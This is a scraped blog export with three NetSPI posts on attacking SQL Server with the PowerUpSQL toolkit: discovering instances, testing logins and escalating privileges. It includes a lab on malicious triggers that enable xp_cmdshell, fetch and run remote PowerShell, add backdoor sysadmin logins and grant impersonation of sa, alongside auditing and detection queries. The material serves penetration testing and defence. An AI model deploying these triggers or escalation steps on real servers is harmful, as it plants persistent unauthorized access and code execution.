IsClustered  : No
The example below shows how to run the UDP scan and save the list of enumerated SQL Servers to a file for later use:
PS C:\>Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10 | Select-Object Instance -ExpandProperty Instance | Out-File c:\temp\test.txt
Big thanks to Eric Gruber for his work on this function!

Get-SQLInstanceFile

Sometimes you’ll already have a list of SQL Servers to target. For example, you may have already discovered SQL Server instances and saved them to a file for later use. ;) This function loads those instances from a file so they can be fed through the PowerShell pipeline into other PowerUpSQL functions. It accepts a file containing one SQL Server instance per line. Below are examples of the three formats it accepts.
  • Servername
  • Servername\Instancename
  • Servername,port
Below is a basic command example:
PS C:\> Get-SQLInstanceFile -FilePath C:\temp\instances.txt

ComputerName   Instance                      
------------   --------                      
SQLServer1    SQLServer1\SQLEXPRESS     
SQLServer1    SQLServer1\STANDARDDEV2014
SQLServer2    SQLServer2,1433    
SQLServer2    SQLServer2
The example below shows how to load a list of SQL Server instances from a file and attempt to log into each of the with the user “test” and the password “test”.
PS C:\> Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
VERBOSE: SQLServer1\SQLEXPRESS : Connection Success.
VERBOSE: SQLServer1\STANDARDDEV2014 : Connection Success.
VERBOSE: SQLServer2,1433 : Connection Failed.
VERBOSE: SQLServer2 : Connection Success.

ComputerName   Instance                  Status    
------------   --------                  ------    
SQLServer1    SQLServer1\SQLEXPRESS      Accessible
SQLServer1    SQLServer1\STANDARDDEV2014 Accessible
SQLServer2    SQLServer2,1433            Not Accessible
SQLServer2    SQLServer2                 Accessible

Get-SQLInstanceDomain

This function is useful if you’re already a domain user and looking for SQL Server targets on the domain. It returns a list of SQL Server instances discovered by querying a domain controller for systems with registered MSSQL Service Principal Names (SPNs). By default, the function will use the domain and logon server for the current domain account. However, alternative domain credentials can be provided along with and an alternative domain controller. To run as alternative domain user, use the runsas command below to launch PowerShell before importing PowerUpSQL.
runas /noprofile /netonly /user:domain\user PowerShell.exe
To simply list SQL Server instances registered on the current domain use the command below.
Get-SQLInstanceDomain –Verbose
To get a list of SQL Server instances that can be logged into with the current Windows user you can use the command below. In large environments, I think you’ll be surprised to see how many SQL Servers normal domain users can log into.
Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose –Threads 10 | Where-Object {$_.Status –eq ‘Accessible’}

Why do Domain User Accounts Have Unauthorized Access to so Many SQL Servers on the Domain?

It’s pretty common for people to doubt that members of the Active Directory group "Domain Users" would have any privileges on domain SQL Servers. However, in our experience it’s incredibly common in large environments for two reasons:
  1. Developers and SQL Server administrators have a habit of explicitly providing login privileges to all members of the Active Directory group “Domain Users”. This seems to happen a lot, because domain groups aren’t created for managing access to associated databases.
  2. When a SQL Server Express instance is installed on a domain system (and the TCP listener is enabled), a privilege inheritance chain exists that allows members of the Active Directory “Domain Users” group to log into the SQL Server instance with Public role privileges. This privilege chain is outlined in the blog “When Databases Attack: SQL Server Express Privilege Inheritance Issue“.
Due to the two common configurations described above, it’s often possible to gain a foot hold in SQL Server instances once any domain user is compromised. Naturally, this can lead to unauthorized data access, and provide the next step towards domain privilege escalation. Both topics will be covered in future blogs.

Wrap Up

In this blog I provided an overview of how SQL Server instances can be discovered with PowerUpSQL. I also provided some insight into why it’s common for standard domain users to have unauthorized access to some SQL Server instances on the domain. Hopefully the information will be useful to the red and blue teamers out there. Good luck and hack responsibly! [post_title] => Blindly Discover SQL Server Instances with PowerUpSQL [post_excerpt] => In this blog I’ll show how PowerUpSQL can be used to blindly discover SQL Server instances on a system, network, or domain. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => blindly-discover-sql-server-instances-powerupsql [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:35 [post_modified_gmt] => 2021-04-13 00:05:35 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=6640 [menu_order] => 277 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [26] => WP_Post Object ( [ID] => 6359 [post_author] => 17 [post_date] => 2016-07-15 07:00:11 [post_date_gmt] => 2016-07-15 07:00:11 [post_content] => In this blog I’ll introduce the PowerUpSQL PowerShell module, which supports SQL Server instance discovery, auditing for weak configurations, and privilege escalation on scale. It primarily targets penetration testers and red teams. However, PowerUpSQL also includes many functions that could be used by administrators to inventory the SQL Servers on their ADS domain. Hopefully you'll find it as helpful as I do. The PowerUpSQL project is currently available on GitHub and the PowerShell Gallery: For those of you who are interested in an overview take a peek at the rest of the blog.

Loading PowerUpSQL

Below are three options for loading the PowerUpSQL PowerShell module.  Choose the one that works best for you. :)
  1. Install it from the PowerShell Gallery. This requires local administrative privileges and will permanently install the module.
    Install-Module -Name PowerUpSQL
  2. Download the project and import the module. This does not require administrative privileges and will only be imported into the current session. However, it may be blocked by restrictive execution policies.
    Import-Module PowerUpSQL.psd1
  3. Load it via a download cradle. This does not require administrative privileges and will only be imported into the current session. It should not be blocked by executions policies.
    IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
    Note: To run as an alternative domain user, use the runas command to launch PowerShell prior to loading PowerUpSQL.
    runas /noprofile /netonly /user:domain\user PowerShell.exe

PowerUpSQL Overview

I’m a bit of an SQL Server enthusiast and have written a few SQL Server attack scripts in the past.  However, using the standalone scripts for attacking SQL Server is slow. Especially when they only support execution against one server at a time.  So, I rolled most of my old work into this module, so performing SQL Server recon and privilege escalation attacks could be executed a little faster and on scale.  I’m planning to continue to write functions for the module so hopefully it will get better over time. Luckily Antti Rantasaari and Eric Gruber have also been contributing some code to make my life easier. :) Below is an overview of the key design objectives met by the version 1.0 release.  A full list of available functions can be found in the readme.md of the GitHub project.

Easy Server Discovery

Blindly identify local, domain, and non-domain SQL Server instances on scale using discovery functions. The example below shows how to get a list of all of the SQL Servers with registered SPNs on the current domain.
PS C:\>Get-SQLInstanceDomain -Verbose        
VERBOSE: Grabbing SQL Server SPNs from domain...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 35 instances were found.

ComputerName               : SQLServer1.domain.com
Instance                         : SQLServer1.domain.com\STANDARDDEV2014
DomainAccountSid      : 1500000521000123456712921821222049996811922123456
DomainAccount         : SQLSvc
DomainAccountCn       : SQLSvc
Service                        : MSSQLSvc
Spn                            : MSSQLSvc/SQLServer1.domain.com:STANDARDDEV2014
LastLogon                         : 6/22/2016 9:00 AM
Description        : This is a test SQL Server.

...[SNIP]...

Easy Server Auditing

Invoke-SQLAudit audits for common high impact vulnerabilities and weak configurations using the current login's privileges. Also, Invoke-SQLDumpInfo can be used to quickly inventory databases, privileges, and other information.Below is an example showing how to dump a basic inventory list of common objects from SQL Server to CSV files.
PS C:\> Invoke-SQLDumpInfo -Verbose -Instance "SQLServer1\STANDARDDEV2014"
VERBOSE: Verified write access to output directory.
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - START 
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting non-default databases...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting database users for databases...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting privileges for databases...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting database roles...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting database role members...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting database schemas...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting database tables...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting database views...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting database columns...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting server logins...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting server config settings...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting server privileges...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting server roles...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting server role members...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting server links...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting server credentials...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting SQL Server service accounts...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting stored procedures...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting DML triggers...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting DDL triggers...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting server version information...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 – END

A collection of .csv files should now be ready for your review. :) Now let's take it a little further. Below is an example showing how to perform an audit for common high impact configuration issues. It only includes one issue for the sake of saving space, but hopefully you get the idea.
PS C:\> Invoke-SQLAudit -Verbose -Instance "SQLServer1\STANDARDDEV2014"

...[SNIP]...

ComputerName  : SQLServer1 
Instance      : SQLServer1\STANDARDDEV2014
Vulnerability : Weak Login Password
Description   : One or more SQL Server logins is configured with a weak password.  This may provide unauthorized access to resources the affected logins have access to.             
Remediation   : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy. 
Severity      : High
IsVulnerable  : Yes
IsExploitable : Yes
Exploited     : No
ExploitCmd    : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
Details       : The test (Sysadmin) is configured with the password test.
Reference     : https://msdn.microsoft.com/en-us/library/ms161959.aspx
Author        : Scott Sutherland (@_nullbind), NetSPI 2016

...[SNIP]...

Note: You can also save the audit results to a CSV by using the OutFolder switch.

Easy Server Exploitation

Invoke-SQLEscalatePriv attempts to obtain sysadmin privileges using identified vulnerabilities.  Also, this is essentially the name sake function for the module. I thought "PowerUpSQL" was a fun play off of the Windows privilege escalation script PowerUp by Will Schroeder.Below is an example showing an attempt to obtain sysadmin privileges on a SQL Server using Invoke-SQLEscalatePriv. By default it will return no output so that it can be used by other scripts.  To view the results use the verbose flag.
PS C:\> Invoke-SQLEscalatePriv –Verbose –Instance “SQLServer1\Instance1”

VERBOSE: SQLServer1\Instance1: Checking if you're already a sysadmin...
VERBOSE: SQLServer1\Instance1: You're not a sysadmin, attempting to change that...
VERBOSE: LOADING VULNERABILITY CHECKS.
VERBOSE: RUNNING VULNERABILITY CHECKS.

...[SNIP]...

VERBOSE: COMPLETED ALL VULNERABILITY CHECKS.
VERBOSE: SQLServer1\Instance1 : Success! You are now a sysadmin!

Flexibility

PowerUpSQL functions support the PowerShell pipeline so they can easily be used together, or with other scripts.  For example, you can quickly get a list of non-default databases from the local server.
PS C:\> Get-SQLInstancelocal | Get-SQLDatabase –Verbose –NoDefaults

ComputerName        : SQLServer1
Instance            : SQLServer1\STANDARDDEV2014
DatabaseId          : 7
DatabaseName        : testdb
DatabaseOwner       : sa
OwnerIsSysadmin     : 1
is_trustworthy_on   : True
is_db_chaining_on   : False
is_broker_enabled   : True
is_encrypted        : False
is_read_only        : False
create_date         : 4/13/2016 4:27:36 PM
recovery_model_desc : FULL
FileName            : C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQL\DATA\testdb.mdf
DbSizeMb            : 3.19
has_dbaccess        : 1

...[SNIP]...

Scalability

This is the best part. Pipeline support combined with multi-threading via invoke-parallel (runspaces) allows users to execute PowerUpSQL functions against many SQL Servers very quickly. A big thank you goes out to Rambling Cookie Monster (Warren F) and Boe Prox for sharing their experiences with runspaces via blogs and GitHub. Without their work I would most likely have been stuck using PowerShell jobs. Blah.Below is a basic example showing how to identify a list of SQL Server instances that can be logged into on the domain as the current user. This is a short example, but most large organizations have thousands of instances.
PS C:\Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 10

..[SNIP]...

ComputerName   Instance                       Status    
------------   --------                       ------    
Server1           Server1\SQLEXPRESS             Accessible
Server1           Server1\STANDARDDEV2014        Accessible
Server2           Server2\STANDARDDEV2008        Not Accessible

..[SNIP]...
To make that command even more useful I recommend setting the output to a variable so you can quickly target accessible servers. Example below:
PS C:\ $Servers = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose –Threads 10 | Where-Object {$_.Status –eq “Accessible”}
Then you can run other functions against accessible servers very quickly via piping. For example, grabbing server information from accessible SQL Server instances.
PS C:\$Servers | Get-SQLServerInfo –Verbose

..[SNIP]...

ComputerName           : SQLServer1
InstanceName           : SQLServer1\STANDARDDEV2014
DomainName             : Domain
ServiceName            : MSSQL$STANDARDDEV2014
ServiceAccount         : LocalSystem
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 12.0.4213.0
SQLServerMajorVersion  : 2014
SQLServerEdition       : Developer Edition (64-bit)
SQLServerServicePack   : SP1
OSArchitecture         : X64Os
MachineType            : WinNT
OSVersionName          : Windows 8.1 Pro
OsVersionNumber        : 6.3
Currentlogin           : Domain\MyUser
IsSysadmin             : Yes
ActiveSessions         : 3

..[SNIP]...

Portability

Last, but not least, PowerUpSQL uses the .NET Framework sqlclient library so there are no dependencies on SQLPS or the SMO libraries. That also means you don't have to run it on a system where SQL Server has been installed. Functions have also been designed so they can be run independently.

Wrap Up

PowerUpSQL can support a lot of use cases that are helpful to both attackers and admins. As time goes on I’ll try to write some follow up blogs that touch on them. In the meantime, I hope you like the module. Feel free to submit tickets in the GitHub repository if something doesn’t work as expected. I’d love some constructive feedback. Good luck and hack responsibly!

Thanks People!

Thank you NetSPI development team for letting me pester you with stupid questions. Big thanks to Eric Gruber, Antti Rantasaari, and Khai Tran for the brain storming sessions and code contributions. Of course, that really extends to the entire NetSPI team, but this blog is already too long. :)

References

[post_title] => PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server [post_excerpt] => The PowerUpSQL module supports SQL Server instance discovery, auditing for common weak configurations, and privilege escalation on scale. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => powerupsql-powershell-toolkit-attacking-sql-server [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:53 [post_modified_gmt] => 2021-04-13 00:05:53 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=6359 [menu_order] => 279 [post_type] => post [post_mime_type] => [comment_count] => 4 [filter] => raw ) [27] => WP_Post Object ( [ID] => 6231 [post_author] => 17 [post_date] => 2016-04-11 07:00:15 [post_date_gmt] => 2016-04-11 07:00:15 [post_content] => In this blog, we'll show how three types of SQL Server triggers can be abused to maintain access to Windows environments. We'll also take a look at some ways to detect potentially malicious triggers. For demo purposes, I've provided a PowerShell script that can be used to create malicious DDL triggers in your own lab. Hopefully the content will be useful to both red and blue teams trying to test detective capabilities within SQL Server. Below is an overview of what will be covered. Feel free to skip ahead if you don't feel like doing the lab at home. ;)

**UPDATE**

I finally found some time to add Get-SQLPersistTriggerDDL to PowerUpSQL. Below is a sample PowerUpSQL command and screenshot.

# Load PowerUpSQl in PowerShell console
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")

# Install malicious trigger
Get-SQLPersistTriggerDDL -Instance "MSSQLSRV04SQLSERVER2014" -NewSqlUser mysqluser4 -NewSqlPass NewPassword123!
Get Sqlpersisttriggerddl If you want to run through an entire attack workflow I’ve also created a command cheat sheet here.

Setting up the Lab

For those of you following along at home. I've put together some basic lab setup instructions below.
  1. I recommend using a commercial version of SQL Server so that database level auditing can be enabled. However, the actual attacks can be conducted against any version of SQL Server. If you don't have a commercial version, download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be downloaded from http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx
  2. Install SQL Server by following the wizard, but make sure to enable mixed-mode authentication and run the service as LocalSystem for the sake of the lab.
  3. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application.
  4. Press the "New Query" button and use the TSQL below to create a database named "testdb".
    -- Create database
    CREATE DATABASE testdb
    
    -- Select database
    USE testdb
    
    -- Create table
    CREATE TABLE dbo.NOCList
    (SpyName text NOT NULL,RealName text NULL)
  5. Run the query below to add a table named "NOCList" and populate it with some records.
    -- Add sample records to table 
    INSERT dbo.NOCList (SpyName, RealName)
    VALUES ('James Bond','Sean Connery')
    INSERT dbo.NOCList (SpyName, RealName)
    VALUES ('Ethan Hunt','Tom Cruise')
    INSERT dbo.NOCList (SpyName, RealName)
    VALUES ('Jason Bourne','Matt Damon')
    INSERT dbo.NOCList (SpyName, RealName)
    VALUES ('James Bond','Daniel Craig')
    INSERT dbo.NOCList (SpyName, RealName)
    VALUES ('James Bond','Pierce Bronsan')
    INSERT dbo.NOCList (SpyName, RealName)
    VALUES ('James Bond',Roger Moore')
    INSERT dbo.NOCList (SpyName, RealName)
    VALUES ('James Bond','Timothy Dolton')
    INSERT dbo.NOCList (SpyName, RealName)
    VALUES ('James Bond','George Lazenby')
    INSERT dbo.NOCList (SpyName, RealName)
    VALUES ('Harry Hart',' Colin Firth')
    
  6. Run the query below to add a login named "testuser".
    -- Select the testdb database
    USE testdb
    
    -- Create server login
    CREATE LOGIN [testuser] WITH PASSWORD = 'Password123!';
    
    -- Create database account for the login
    CREATE USER [testuser] FROM LOGIN [testuser];
    
    -- Assign default database for the login
    ALTER LOGIN [testuser] with default_database = [testdb];
    
    -- Add table insert privileges
    GRANT INSERT ON testdb.dbo.NOCList to [testuser]
    

Setting up the Auditing

In part 1 of this blog series we covered how to audit for potentially malicious SQL Server events like when xp_cmdshell is enabled and new sysadmins are created. In this section I'll provide some additional events that can provide context specific to potentially dangerous SQL Server triggers and login impersonation. The get started below are some instructions for setting up auditing to monitor server and database level object changes. In most production environments object changes shouldn't occur at the database or server levels very often. However, the reality is that sometimes they do. So you may have to tweak the audit setting for your environment. Either way this should get you started if you haven't seen it before.
  1. Create and enable a SERVER AUDIT so that all of our events will get forwarded to the Windows application log.
    -- Select master database
    USE master
    
    -- Create audit
    CREATE SERVER AUDIT Audit_Object_Changes
    TO APPLICATION_LOG
    WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
    ALTER SERVER AUDIT Audit_Object_Changes
    WITH (STATE = ON)
    
  2. Create an enabled SERVER AUDIT SPECIFICATION. This will enable auditing of defined server level events. In this case, the creation, modification, and deletion of server level objects. It will also log when user impersonation privileges are assigned and used.
    -- Create server audit specification
    CREATE SERVER AUDIT SPECIFICATION Audit_Server_Level_Object_Changes
    FOR SERVER AUDIT Audit_Object_Changes
    ADD (SERVER_OBJECT_CHANGE_GROUP),
    ADD (SERVER_OBJECT_PERMISSION_CHANGE_GROUP),
    ADD (SERVER_PERMISSION_CHANGE_GROUP),
    ADD (SERVER_PRINCIPAL_IMPERSONATION_GROUP)
    WITH (STATE = ON)
    
  3. Create an enabled DATABASE AUDIT SPECIFICATION. This will enable auditing of specific database level events. In this case, the creation, modification, and deletion of database level objects. Note: This option is only available in commercial versions of SQL Server.
    -- Create the database audit specification
    CREATE DATABASE AUDIT SPECIFICATION Audit_Database_Level_Object_Changes
    FOR SERVER AUDIT Audit_Object_Changes
    ADD (DATABASE_OBJECT_CHANGE_GROUP) 
    WITH (STATE = ON)
    GO
    
  4. Verify that auditing has been configured correctly by viewing the audit specifications with the queries below.
    --View audit server specifications
    SELECT		audit_id, 
    		a.name as audit_name, 
    		s.name as server_specification_name,
    		d.audit_action_name,
    		s.is_state_enabled,
    		d.is_group,
    		d.audit_action_id,	
    		s.create_date,
    		s.modify_date
    FROM sys.server_audits AS a
    JOIN sys.server_audit_specifications AS s
    ON a.audit_guid = s.audit_guid
    JOIN sys.server_audit_specification_details AS d
    ON s.server_specification_id = d.server_specification_id
    
    -- View database specifications
    SELECT	a.audit_id,
    		a.name as audit_name,
    		s.name as database_specification_name,
    		d.audit_action_name,
    		s.is_state_enabled,
    		d.is_group,
    		s.create_date,
    		s.modify_date,
    		d.audited_result
    FROM sys.server_audits AS a
    JOIN sys.database_audit_specifications AS s
    ON a.audit_guid = s.audit_guid
    JOIN sys.database_audit_specification_details AS d
    ON s.database_specification_id = d.database_specification_id
    
For more SQL Server auditing groups and options checkout the links below:

Malicious Trigger Creation

Based on my initial reading, there are primarily three types of triggers in SQL Server that include DML, DDL, and Logon Triggers. In this section I'll cover how each type of trigger can be used to maintain access to a Windows environment during a red team or penetration test engagement. Similar to the last blog, each trigger will be designed to add a sysadmin and execute an arbitrary PowerShell command. For the sake of the blog, all examples will be done from the perspective of an attacker that has already obtained sysadmin privileges. Note: Triggers can also be created with any login that has been provided the privileges to do so. You can view privileges with the queries at https://gist.github.com/nullbind/6da28f66cbaeeff74ed5.

Creating Malicious DDL Triggers

Data Definition Language (DDL) triggers can be applied at the Server and database levels. They can be used to take actions prior to or after DDL statements like CREATE, ALTER, and DROP. This makes DDL triggers a handy option for persistence, because they can be used when no custom databases exist on the target server. Example Code In this example, we'll create a DDL trigger designed to add a sysadmin named "SysAdmin_DDL" and execute a PowerShell script from the internet that will write a file to "c:temptrigger_demo_ddl.txt" when any login is created, altered, or deleted.
-- Enabled xp_cmdshell
sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

-- Create the DDL trigger
CREATE Trigger [persistence_ddl_1]
ON ALL Server
FOR DDL_LOGIN_EVENTS
AS

-- Download and run a PowerShell script from the internet
EXEC master..xp_cmdshell 'Powershell -c "IEX(new-object net.webclient).downloadstring(''https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/trigger_demo_ddl.ps1'')"';

-- Add a sysadmin named 'SysAdmin_DDL' if it doesn't exist
if (SELECT count(name) FROM sys.sql_logins WHERE name like 'SysAdmin_DDL') = 0

	-- Create a login
	CREATE LOGIN SysAdmin_DDL WITH PASSWORD = 'Password123!';
	
	-- Add the login to the sysadmin fixed server role
	EXEC sp_addsrvrolemember 'SysAdmin_DDL', 'sysadmin';
GO
The next time a sysadmin creates, alters, or drops a login you should notice that a new "SysAdmin_DDL'" login and "c:temptrigger_demo_ddl.txt" file have been created. Also, if you drop the "SysAdmin_DDL'" login, the trigger just adds it back again ;). If you want to, you can also be a bit annoying with triggers. For example, the "persistence_ddl_2" trigger below can be used recreate the "persistence_ddl_1" if it is removed.
CREATE Trigger [persistence_ddl_2]
ON ALL Server 
FOR DROP_TRIGGER
AS
exec('CREATE Trigger [persistence_ddl_1]
	on ALL Server 
	for DDL_LOGIN_EVENTS
	as

	-- Download a PowerShell script from the internet to memory and execute it
	EXEC master..xp_cmdshell ''Powershell -c "IEX(new-object net.webclient).downloadstring(''''https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1'''')"'';

	-- Add a sysadmin named 'SysAdmin_DDL' if it doesn't exist
	if (select count(name) from sys.sql_logins where name like ''SysAdmin_DDL'') = 0

		-- Create a login
		CREATE LOGIN SysAdmin_DDL WITH PASSWORD = ''Password123!'';
	
		-- Add the login to the sysadmin fixed server role
		EXEC sp_addsrvrolemember ''Sysadmin_DDL'', ''sysadmin'';		 
		')
You could also trigger on all "DDL_EVENTS", but I haven't done enough testing to guarantee that it wouldn't cause a production server to burst into flames. Aaanyways…if you want to confirm that your triggers were actually added you can use the query below.
SELECT * FROM sys.server_triggers 
Also, below are some links to a list of DDL trigger events that can be targeted beyond the examples provided.

Creating Malicious DML Triggers

Data Manipulation Language (DML) triggers work at the database level and can be used to take actions prior to or after DML statements like INSERT, UPDATE, or DELETE. They can be pretty useful if you target database tables where INSERT, UPDATE, or DELETE are used on a regular basis. However, there are a few downsides I'll touch on in a bit. To find popular tables to target I've provided the query below based on this post http://stackoverflow.com/questions/13638435/last-executed-queries-for-a-specific-database. It can be used to list recent queries that have been executed that include INSERT statements. If you created the test database and table in the "Setting up the Lab" section you should see the associated insert statements.
-- List popular tables that use INSERT statements
SELECT * FROM 
	(SELECT 
	COALESCE(OBJECT_NAME(qt.objectid),'Ad-Hoc') AS objectname,
	qt.objectid as objectid,
	last_execution_time,
	execution_count,
	encrypted,
    (SELECT TOP 1 SUBSTRING(qt.TEXT,statement_start_offset / 2+1,( (CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(NVARCHAR(MAX),qt.TEXT)) * 2) ELSE statement_end_offset END)- statement_start_offset) / 2+1)) AS sql_statement
	FROM sys.dm_exec_query_stats AS qs
	CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS qt ) x
WHERE sql_statement like 'INSERT%'
ORDER BY execution_count DESC
Example Code In this example, we'll create a DML trigger designed to add a sysadmin named "SysAdmin_DML" and execute a PowerShell script from the internet that will write a file to "c:temptrigger_demo_dml.txt" when an INSERT event occurs in the testdb.dbo.noclist table. IMPORTANT NOTE: The downside is that least privilege database users inserting records into the database we are going to create our trigger for may not have the privileges required to run the xp_cmdshell etc. To work around that, the script below provides everyone (public) with the privileges to impersonate the sa account. Alternatively, you could configure the xp_cmdshell proxy account or reconfigure the malicious trigger to execute as a sysadmin. While attackers may use any of these methods, changing privileges really shouldn't be done during pentests, because it weakens the security controls of the environment.  However, I'm doing it here so we can see the changes in the log.
-- Select master database
USE master

-- Grant all users privileges to impersonate sa (bad idea for pentesters)
GRANT IMPERSONATE ON LOGIN::sa to [Public];

-- Select testdb database
USE testdb

-- Create trigger
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.NOCList 
FOR INSERT, UPDATE, DELETE AS

-- Impersonate sa
EXECUTE AS LOGIN = 'sa'

-- Download a PowerShell script from the internet to memory and execute it
EXEC master..xp_cmdshell 'Powershell -c "IEX(new-object net.webclient).downloadstring(''https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/trigger_demo_dml.ps1'')"';

-- Add a sysadmin named 'SysAdmin_DML' if it doesn't exist
if (select count(*) from sys.sql_logins where name like 'SysAdmin_DML') = 0

	-- Create a login
	CREATE LOGIN SysAdmin_DML WITH PASSWORD = 'Password123!';
	
	-- Add the login to the sysadmin fixed server role
	EXEC sp_addsrvrolemember 'SysAdmin_DML', 'sysadmin';
Go
Now, when anyone (privileged or not) inserts a record into the testdb.dbo.noclist table the trigger will run our PowerShell command and add our sysadmin. :) Let's test it out using the steps below.
  1. Log into the server as the testuser using SQL Server management studio express.
  2. Add some more records to the NOCList table.
    -- Select testdb database
    USE testdb
    
    -- Add sample records to table x 4
    INSERT dbo.NOCList (SpyName, RealName)
    VALUES ('James Bond','Sean Connery')
    INSERT dbo.NOCList (SpyName, RealName)
    VALUES ('Ethan Hunt','Tom Cruise')
    INSERT dbo.NOCList (SpyName, RealName)
    VALUES ('Jason Bourne','Matt Damon')
    
  3. Review sysadmins and the local drive for our file.
Finally, to view all database levels trigger for the currently selected database with the query below.
USE 
[DATABASE]
SELECT * FROM sys.triggers 

Creating Malicious Logon Triggers

Logon triggers are primarily used to prevent users from logging into SQL Server under defined conditions. The canonical examples include creating a logon trigger to prevent users from logging in after hours or establishing concurrent sessions. As a result, this is the least useful persistence option, because we would have to actively block a user from authenticating in order for the trigger to run. On the bright side you can create a logon trigger that binds to a specific least privilege account. Then simply attempting to login with that account can execute whatever SQL query or operating system command you want. Example Code In this example, we'll create a logon trigger designed to execute a PowerShell script from the internet that will write a file to "c:temptrigger_demo_logon.txt" when the SQL login "testuser" successfully authenticates and is prevented from logging in. This trigger is also configured to run as the "sa" default sysadmin account.
-- Create trigger
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
	-- Download a PowerShell script from the internet to memory and execute it
    EXEC master..xp_cmdshell 'Powershell -c "IEX(new-object net.webclient).downloadstring(''https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/trigger_demo_logon.ps1'')"';
END;
Now when you try to logon with the "testuser" account you should see the message below. You won't be able to login, but the SQL Server will execute you're trigger and the associated PowerShell code. You can view all server and logon triggers with the query below.
SELECT * FROM sys.server_triggers 

Malicious Trigger Detection

If you enabled auditing during the lab setup, you should see event id 33205 in the Windows application event log. The "statement" field should start with "CREATE Trigger" for all three types of triggers, and be immediately followed by the rest of the trigger's source code. From here you could write some SIEM rules to generate an alert when the "statement" field contains keywords like xp_cmdshell, powershell, and sp_addsrvrolemember along with the CREATE Trigger statement. Below is an example screenshot of the logged event. We also provided the public role with the ability to impersonate the "sa" login. This event also ends up in event ID 33205. This time the GRANT statement shows up in the "statement" field. Once again SIEM rules could be created to watch for GRANT statements assigning IMPERSONATE privileges. In our next event ID 33205 log, we can actually see the name of the trigger, the login that executed the trigger, and the login being impersonated. That can be pretty useful information. : ) In this case, it may be worth it to watch for "EXECUTE AS" in the statement field. However, depending on the environment, some tweaking may be needed.

Viewing Server Level Triggers (DDL and LOGON)

Below is a code snippet that can be used to list server level triggers and the associated source code. Please note that you must be a sysadmin in order to view the source code.
SELECT	name,
OBJECT_DEFINITION(OBJECT_ID) as trigger_definition,
parent_class_desc,
create_date,
modify_date,
is_ms_shipped,
is_disabled
FROM sys.server_triggers WHERE 
OBJECT_DEFINITION(OBJECT_ID) LIKE '%xp_cmdshell%' OR
OBJECT_DEFINITION(OBJECT_ID) LIKE '%powershell%' OR
OBJECT_DEFINITION(OBJECT_ID) LIKE '%sp_addsrvrolemember%' 
ORDER BY name ASC

Viewing Database Level Triggers (DML)

Below is a code snippet that can be used to list database level triggers and the associated source code. Please note that you must be a sysadmin (or have the require privileges) and have the database selected that the trigger were created in.
-- Select testdb
USE testdb

-- Select potentially evil triggers
SELECT	@@SERVERNAME as server_name,
	(SELECT TOP 1 SCHEMA_NAME(schema_id)FROM sys.objects WHERE type ='tr' and object_id like object_id ) as schema_id ,
	DB_NAME() as database_name,
